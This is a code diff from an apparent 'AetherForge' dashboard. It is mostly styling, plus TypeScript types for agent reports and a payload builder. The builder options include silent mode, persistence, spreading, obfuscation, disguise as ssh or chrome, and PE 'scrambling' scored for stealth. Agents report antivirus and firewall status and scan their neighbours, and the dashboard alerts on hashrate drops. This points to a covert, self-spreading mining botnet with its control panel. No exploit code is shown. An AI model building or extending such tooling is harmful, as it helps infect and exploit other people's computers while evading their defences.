border-color: rgba(201, 162, 39, 0.5);
}
.checkbox,
input[type='checkbox'] {
accent-color: var(--neon-cyan);
}
input[type='range'] {
accent-color: var(--brass);
}
.label {
color: var(--text-secondary);
letter-spacing: 0.04em;
}
/* ── Sidebar nav ───────────────────────────────────────────────────────────── */
.nav-item.active {
text-shadow: 0 0 12px rgba(0, 245, 255, 0.4);
}
.nav-item.active .nav-icon svg {
filter: drop-shadow(0 0 4px rgba(0, 245, 255, 0.6));
}
/* ── Status & badges ───────────────────────────────────────────────────────── */
.status-badge,
.latency-badge {
backdrop-filter: blur(6px);
}
.system-status-bar {
border-bottom: 1px solid rgba(201, 162, 39, 0.15);
box-shadow: 0 4px 24px rgba(0, 0, 0, 0.25);
}
/* ── Fleet / agent UI ──────────────────────────────────────────────────────── */
.tactical-panel,
.agent-detail-panel {
border: 1px solid rgba(201, 162, 39, 0.2);
border-radius: 6px;
background: linear-gradient(165deg, rgba(22, 18, 14, 0.92), rgba(8, 6, 4, 0.96));
box-shadow: var(--shadow-panel), inset 0 1px 0 rgba(255, 255, 255, 0.04);
}
.agent-list-item,
.fleet-agent-row {
transition:
background 0.2s ease,
border-color 0.2s ease,
box-shadow 0.2s ease;
}
.agent-list-item:hover,
.fleet-agent-row:hover {
box-shadow: inset 0 0 24px rgba(0, 245, 255, 0.04);
}
/* ── Tables & code ─────────────────────────────────────────────────────────── */
table {
border-collapse: collapse;
}
th {
font-family: var(--font-tech);
font-size: 0.68rem;
letter-spacing: 0.1em;
text-transform: uppercase;
color: var(--brass-light);
border-bottom: 1px solid rgba(201, 162, 39, 0.25);
}
tr:hover td {
background: rgba(0, 245, 255, 0.03);
}
pre,
.log-viewer,
.master-terminal,
.terminal-output {
border-radius: 4px;
border: 1px solid rgba(201, 162, 39, 0.15);
box-shadow: inset 0 0 30px rgba(0, 0, 0, 0.35);
}
code {
font-family: var(--font-tech);
font-size: 0.88em;
color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.06);
padding: 0.1em 0.35em;
border-radius: 2px;
}
/* ── Session gate ──────────────────────────────────────────────────────────── */
.session-gate {
background:
radial-gradient(ellipse 80% 60% at 50% 20%, rgba(0, 245, 255, 0.1), transparent 55%),
radial-gradient(ellipse 60% 50% at 80% 80%, rgba(201, 162, 39, 0.08), transparent 50%),
var(--bg-void);
}
.session-gate-card {
border-radius: 8px;
box-shadow:
var(--shadow-panel),
0 0 40px rgba(0, 245, 255, 0.08),
0 0 80px rgba(201, 162, 39, 0.06);
animation: af-page-in 0.7s cubic-bezier(0.23, 1, 0.32, 1) both;
}
.session-gate-card h1 {
text-align: center;
background: linear-gradient(135deg, var(--brass-light), var(--neon-cyan));
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
}
/* ── Ambient layer harmony ─────────────────────────────────────────────────── */
.ambient-vignette {
opacity: 0.92;
}
.ambient-orb {
filter: blur(90px);
}
/* ── Scrollbars (firefox) ──────────────────────────────────────────────────── */
* {
scrollbar-color: var(--brass-dark) var(--bg-deep);
}
/* ── Reduced motion ────────────────────────────────────────────────────────── */
@media (prefers-reduced-motion: reduce) {
.page,
.page-header h1,
.page > h1.font-display,
.session-gate-card,
.neon-card:hover,
.card:hover,
.btn:hover:not(:disabled) {
animation: none !important;
transform: none !important;
}
.page-header h1,
.page > h1.font-display {
-webkit-text-fill-color: var(--text-primary);
background: none;
}
}

View File

@@ -0,0 +1,187 @@
/* Wealth-deck polish — charts & stats feel like money is moving */
.chart-row {
margin-top: 1.25rem;
gap: 1.25rem;
}
.neon-chart-panel.wealth-chart {
padding: 1rem 1.1rem 0.85rem;
background: linear-gradient(
155deg,
rgba(28, 22, 12, 0.92) 0%,
rgba(10, 8, 6, 0.96) 55%,
rgba(18, 28, 22, 0.88) 100%
);
border: 1px solid rgba(201, 162, 39, 0.28);
box-shadow:
var(--shadow-panel),
inset 0 1px 0 rgba(232, 197, 71, 0.12),
0 0 40px rgba(0, 245, 255, 0.04);
}
.chart-header {
flex-wrap: wrap;
gap: 0.5rem 1rem;
}
.chart-header-meta {
display: flex;
align-items: center;
gap: 0.65rem;
flex-wrap: wrap;
}
.chart-peak {
font-family: var(--font-tech);
font-size: 0.72rem;
letter-spacing: 0.06em;
color: var(--brass-light);
padding: 0.2rem 0.5rem;
border: 1px solid rgba(201, 162, 39, 0.25);
background: rgba(201, 162, 39, 0.06);
border-radius: 2px;
}
.chart-delta {
font-family: var(--font-tech);
font-size: 0.72rem;
letter-spacing: 0.08em;
}
.chart-delta.up {
color: var(--neon-green);
text-shadow: 0 0 10px rgba(57, 255, 20, 0.35);
}
.chart-delta.down {
color: var(--accent-red);
}
.chart-live.sample {
color: var(--brass-light);
text-shadow: 0 0 8px rgba(232, 197, 71, 0.35);
}
.chart-live.blend {
color: var(--neon-amber);
}
.chart-empty.wealth-empty {
min-height: 280px;
background: linear-gradient(180deg, rgba(201, 162, 39, 0.04), transparent);
}
.chart-empty.wealth-empty span {
font-size: 0.8rem;
color: var(--text-secondary);
}
.chart-preview-spark {
width: 100%;
max-width: 280px;
height: 48px;
opacity: 0.35;
margin-top: 0.5rem;
}
.deck-hero.wealth-hero {
border: 1px solid rgba(201, 162, 39, 0.22);
background: linear-gradient(
120deg,
rgba(201, 162, 39, 0.06) 0%,
rgba(8, 6, 4, 0.4) 40%,
rgba(0, 245, 255, 0.04) 100%
);
box-shadow: 0 0 48px rgba(201, 162, 39, 0.06);
}
.deck-wealth-strip {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(140px, 1fr));
gap: 0.75rem;
margin-bottom: 1.25rem;
}
.deck-wealth-pill {
padding: 0.65rem 0.85rem;
border: 1px solid rgba(201, 162, 39, 0.2);
background: rgba(12, 10, 8, 0.65);
border-radius: 2px;
}
.deck-wealth-pill .dwp-label {
font-family: var(--font-tech);
font-size: 0.62rem;
letter-spacing: 0.14em;
color: var(--text-muted);
text-transform: uppercase;
}
.deck-wealth-pill .dwp-value {
font-family: var(--font-tech);
font-size: 1.05rem;
color: var(--brass-light);
margin-top: 0.2rem;
}
.deck-wealth-pill .dwp-value.mint {
color: var(--neon-green);
text-shadow: 0 0 12px rgba(57, 255, 20, 0.35);
}
.deck-wealth-pill .dwp-sub {
font-size: 0.72rem;
color: var(--text-muted);
margin-top: 0.15rem;
}
.steampunk-stats .stat-card-wrap.wealth-stat {
border-color: rgba(201, 162, 39, 0.32);
}
.earnings-estimator.wealth-earnings,
.earnings-preview.wealth-earnings {
border: 1px solid rgba(255, 176, 32, 0.35);
background: linear-gradient(145deg, rgba(40, 28, 8, 0.5), rgba(12, 10, 8, 0.95));
}
.earnings-preview .earnings-usd-day {
font-size: 1.35rem;
font-weight: 700;
color: var(--neon-green);
text-shadow: 0 0 16px rgba(57, 255, 20, 0.4);
}
.earnings-preview-badge {
font-family: var(--font-tech);
font-size: 0.6rem;
letter-spacing: 0.18em;
color: var(--brass-light);
opacity: 0.75;
margin-bottom: 0.35rem;
}
.contrib-panel.sample-contrib .contrib-fill {
background: linear-gradient(90deg, var(--brass-dark), var(--neon-cyan));
box-shadow: 0 0 10px rgba(0, 245, 255, 0.25);
}
.activity-pulse.sample-activity .pulse-row.ok .pulse-dot {
box-shadow: 0 0 8px rgba(57, 255, 20, 0.5);
}
.preview-deck-hint {
font-family: var(--font-tech);
font-size: 0.65rem;
letter-spacing: 0.12em;
color: rgba(201, 162, 39, 0.55);
text-align: center;
margin: 0.5rem 0 1rem;
}
@media (max-width: 768px) {
.deck-wealth-strip {
grid-template-columns: repeat(2, 1fr);
}
}

View File

@@ -260,6 +260,12 @@ export interface AlertsConfig {
rejection_rate_threshold_pct: number;
telegram_bot_token?: string;
telegram_chat_id?: string;
notify_agent_connect?: boolean;
notify_agent_reconnect?: boolean;
notify_agent_offline?: boolean;
notify_hashrate_drop?: boolean;
notify_rejection_rate?: boolean;
notify_build_complete?: boolean;
email_enabled?: boolean;
smtp_host?: string;
smtp_port?: number;
@@ -326,6 +332,8 @@ export interface BuildRequest {
display_mode: string;
silent_mode: boolean;
run_as: string;
/** Preset (ssh, ftp, chrome, …) or custom:C:\\path\\app.exe when run_as is host_binary */
host_binary_target?: string;
auto_start: boolean;
persistence: boolean;
process_name: string;
@@ -371,6 +379,8 @@ export interface BuildRequest {
target_arch?: string;
spread_kit?: boolean;
obfuscate?: boolean;
/** Post-forge PE overlay + timestamp uniquification (Sigil Scramble). */
sigil_scramble?: boolean;
sign_build?: boolean;
// Cancel token — set by the client before forging. Pass the same value to
// DELETE /api/v1/builder/cancel/{token} to kill the compile mid-flight.
@@ -436,6 +446,20 @@ export interface BuildResponse {
worker_file?: string;
signed?: boolean;
obfuscated?: boolean;
sigil_scramble?: boolean;
binary_fingerprint?: string;
stealth_score?: number;
}
export interface PathTraceHop {
agent_id: string;
agent_name: string;
external_ip: string;
port: number;
public_key: string;
local_addr: string;
status: 'pending' | 'ready' | 'failed';
error?: string;
}
export interface BlueprintInfo {

View File

@@ -0,0 +1,11 @@
import { describe, it, expect } from 'vitest';
import { parseFullSysCheckMessage } from './syscheck';
describe('parseFullSysCheckMessage', () => {
it('parses JSON embedded in command output', () => {
const msg = 'ok prefix {"generated_at":"2026-01-01T00:00:00Z","platform":"windows","network":{"external_ip":"1.2.3.4"}}';
const r = parseFullSysCheckMessage(msg);
expect(r?.platform).toBe('windows');
expect(r?.network?.external_ip).toBe('1.2.3.4');
});
});

View File

@@ -0,0 +1,134 @@
/** Matches agent/client FullSysCheckReport JSON */
export interface FullSysCheckReport {
generated_at: string;
platform: string;
arch: string;
os_version?: string;
hostname?: string;
worker_name?: string;
build_id?: string;
agent_id?: string;
identity?: SysCheckIdentity;
hardware?: SysCheckHardware;
security?: SysCheckSecurity;
network?: SysCheckNetwork;
resources?: SysCheckResources;
listen_ports?: { ports: SysCheckListenPort[]; count: number };
patch?: SysCheckPatch;
environment?: SysCheckEnvironment;
neighbors?: SysCheckNeighbors;
raw_sysinfo?: string;
raw_ipconfig?: string;
raw_netstat?: string;
probe_errors?: string[];
}
export interface SysCheckIdentity {
username?: string;
domain?: string;
computer_name?: string;
agent_elevated?: boolean;
mac_address?: string;
}
export interface SysCheckHardware {
manufacturer?: string;
model?: string;
serial?: string;
bios_version?: string;
cpus?: { name?: string; cores?: number; logical?: number; max_mhz?: number; current_mhz?: number }[];
memory_gb?: number;
gpus?: { name?: string; driver?: string; vram_mb?: number }[];
disks?: { mount?: string; label?: string; fs_type?: string; total_gb?: number; free_gb?: number; free_pct?: number }[];
uptime_hours?: number;
}
export interface SysCheckSecurity {
posture_score?: number;
defender_enabled?: boolean;
defender_rtp?: boolean;
av_products?: string[];
firewall_domain?: boolean;
firewall_private?: boolean;
firewall_public?: boolean;
ssh_listening?: boolean;
pending_updates?: number;
last_patch?: string;
last_patch_days?: number;
reboot_pending?: boolean;
services?: { name: string; display_name?: string; status: string; start_type: string }[];
}
export interface SysCheckNetwork {
primary_local_ip?: string;
external_ip?: string;
external_ip_source?: string;
geo?: {
query?: string;
country?: string;
region?: string;
city?: string;
isp?: string;
org?: string;
lat?: number;
lon?: number;
};
dns?: { servers?: string[]; search_domains?: string[] };
interfaces?: { name?: string; mac?: string; ipv4?: string[]; ipv6?: string[] }[];
default_gateway?: string;
routes_summary?: string;
}
export interface SysCheckResources {
cpu_freq_mhz?: number;
cpu_max_mhz?: number;
cpu_throttle?: boolean;
cpu_temp_c?: number;
disk_free_gb?: number;
disk_total_gb?: number;
disk_free_pct?: number;
gpu_temp_c?: number;
gpu_usage_pct?: number;
}
export interface SysCheckListenPort {
port: number;
addr?: string;
proto?: string;
process?: string;
pid?: number;
}
export interface SysCheckPatch {
pending_updates?: number;
last_patch?: string;
last_patch_days?: number;
reboot_pending?: boolean;
}
export interface SysCheckEnvironment {
timezone?: string;
locale?: string;
home_dir?: string;
temp_dir?: string;
install_dir?: string;
}
export interface SysCheckNeighbors {
arp_hosts?: string[];
subnet_scan?: string;
arp_count?: number;
}
export function parseFullSysCheckMessage(message: string): FullSysCheckReport | null {
const start = message.indexOf('{');
if (start < 0) return null;
try {
return JSON.parse(message.slice(start)) as FullSysCheckReport;
} catch {
return null;
}
}

View File

@@ -0,0 +1,22 @@
/**
* @vitest-environment happy-dom
*/
import { describe, it, expect, beforeEach } from 'vitest';
import { loadGlowParticlesEnabled, saveGlowParticlesEnabled } from './visualPrefs';
describe('visualPrefs', () => {
beforeEach(() => {
localStorage.clear();
});
it('defaults glow particles to on', () => {
expect(loadGlowParticlesEnabled()).toBe(true);
});
it('persists glow toggle', () => {
saveGlowParticlesEnabled(false);
expect(loadGlowParticlesEnabled()).toBe(false);
saveGlowParticlesEnabled(true);
expect(loadGlowParticlesEnabled()).toBe(true);
});
});

View File

@@ -0,0 +1,26 @@
const GLOW_KEY = 'aetherforge-glow-particles';
export function loadGlowParticlesEnabled(): boolean {
try {
const v = localStorage.getItem(GLOW_KEY);
if (v === '0') return false;
if (v === '1') return true;
} catch {
/* ignore */
}
return true;
}
export function saveGlowParticlesEnabled(enabled: boolean): void {
try {
localStorage.setItem(GLOW_KEY, enabled ? '1' : '0');
} catch {
/* ignore */
}
}
export const VISUAL_PREFS_EVENT = 'aetherforge-visual-prefs';
export function dispatchVisualPrefsChange(): void {
window.dispatchEvent(new CustomEvent(VISUAL_PREFS_EVENT));
}